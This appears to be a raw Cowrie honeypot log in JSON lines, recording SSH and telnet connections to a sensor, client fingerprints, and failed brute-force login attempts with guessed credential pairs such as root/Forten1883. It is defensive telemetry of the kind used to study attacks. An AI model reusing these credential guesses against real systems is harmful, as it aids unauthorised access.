{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:28:44.108389Z","src_ip":"102.88.137.80","session":"9fee039d33b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38238,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c9a075efa1","protocol":"telnet","message":"New connection: 128.199.8.54:38238 (159.203.135.109:23) [session: e7c9a075efa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:14.600815Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":33612,"dst_ip":"10.17.0.5","dst_port":22,"session":"b63088d5dcee","protocol":"ssh","message":"New connection: 5.89.75.194:33612 (10.17.0.5:22) [session: b63088d5dcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:20.486034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:20.491938Z","src_ip":"5.89.75.194","session":"b63088d5dcee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:20.594879Z","src_ip":"5.89.75.194","session":"b63088d5dcee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"redhat","message":"login attempt [git/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:21.038948Z","src_ip":"5.89.75.194","session":"b63088d5dcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:22.142519Z","src_ip":"5.89.75.194","session":"b63088d5dcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.97122406959534,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:22.413909Z","src_ip":"107.6.151.170","session":"655f12e1aca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":45732,"dst_ip":"10.17.0.5","dst_port":22,"session":"2630f46fe9b5","protocol":"ssh","message":"New connection: 189.203.163.10:45732 (10.17.0.5:22) [session: 2630f46fe9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:25.928291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:25.939176Z","src_ip":"189.203.163.10","session":"2630f46fe9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:26.003312Z","src_ip":"189.203.163.10","session":"2630f46fe9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discount","password":"discount123","message":"login attempt [discount/discount123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:26.289498Z","src_ip":"189.203.163.10","session":"2630f46fe9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:27.362986Z","src_ip":"189.203.163.10","session":"2630f46fe9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":42614,"dst_ip":"10.17.0.5","dst_port":22,"session":"5480f1fe51f6","protocol":"ssh","message":"New connection: 103.172.78.219:42614 (10.17.0.5:22) [session: 5480f1fe51f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:30.710718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:30.714728Z","src_ip":"103.172.78.219","session":"5480f1fe51f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:30.963041Z","src_ip":"103.172.78.219","session":"5480f1fe51f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:31.710941Z","src_ip":"103.172.78.219","session":"5480f1fe51f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:32.962846Z","src_ip":"103.172.78.219","session":"5480f1fe51f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":42010,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a17bd04ef95","protocol":"ssh","message":"New connection: 92.113.145.209:42010 (159.203.135.109:22) [session: 7a17bd04ef95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:33.026814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:33.031982Z","src_ip":"92.113.145.209","session":"7a17bd04ef95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:33.140760Z","src_ip":"92.113.145.209","session":"7a17bd04ef95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:33.606853Z","src_ip":"92.113.145.209","session":"7a17bd04ef95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":17170,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eacf94f2e9d","protocol":"ssh","message":"New connection: 102.88.137.80:17170 (10.17.0.5:22) [session: 2eacf94f2e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:34.119634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:34.126144Z","src_ip":"102.88.137.80","session":"2eacf94f2e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:34.309180Z","src_ip":"102.88.137.80","session":"2eacf94f2e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:34.718896Z","src_ip":"92.113.145.209","session":"7a17bd04ef95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aryan","password":"aryan","message":"login attempt [aryan/aryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:35.077096Z","src_ip":"102.88.137.80","session":"2eacf94f2e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:36.266043Z","src_ip":"102.88.137.80","session":"2eacf94f2e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42178,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4714c0d487","protocol":"ssh","message":"New connection: 147.45.199.80:42178 (10.17.0.5:22) [session: 0f4714c0d487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:39.000399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:39.007090Z","src_ip":"147.45.199.80","session":"0f4714c0d487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:39.099567Z","src_ip":"147.45.199.80","session":"0f4714c0d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9638527410","message":"login attempt [root/9638527410] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:39.375185Z","src_ip":"147.45.199.80","session":"0f4714c0d487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:40.470181Z","src_ip":"147.45.199.80","session":"0f4714c0d487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":37604,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2223948b8bb","protocol":"ssh","message":"New connection: 79.104.0.82:37604 (10.17.0.5:22) [session: b2223948b8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:41.407950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:41.412837Z","src_ip":"79.104.0.82","session":"b2223948b8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41364,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbafd580908f","protocol":"telnet","message":"New connection: 94.23.66.112:41364 (10.17.0.5:23) [session: cbafd580908f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:41.494449Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:41.566640Z","src_ip":"79.104.0.82","session":"b2223948b8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cnc","password":"cnc123","message":"login attempt [cnc/cnc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:42.210585Z","src_ip":"79.104.0.82","session":"b2223948b8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:29:43.366856Z","src_ip":"79.104.0.82","session":"b2223948b8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":49444,"dst_ip":"10.17.0.5","dst_port":22,"session":"7378d0dc4e9e","protocol":"ssh","message":"New connection: 160.251.185.39:49444 (10.17.0.5:22) [session: 7378d0dc4e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:01.842321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:01.847181Z","src_ip":"160.251.185.39","session":"7378d0dc4e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:02.025906Z","src_ip":"160.251.185.39","session":"7378d0dc4e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vamshi","password":"vamshi","message":"login attempt [vamshi/vamshi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:02.741284Z","src_ip":"160.251.185.39","session":"7378d0dc4e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":40236,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7072ef68cf","protocol":"ssh","message":"New connection: 76.79.213.69:40236 (10.17.0.5:22) [session: 4f7072ef68cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:03.694266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:03.699067Z","src_ip":"76.79.213.69","session":"4f7072ef68cf","protocol":"ssh"}
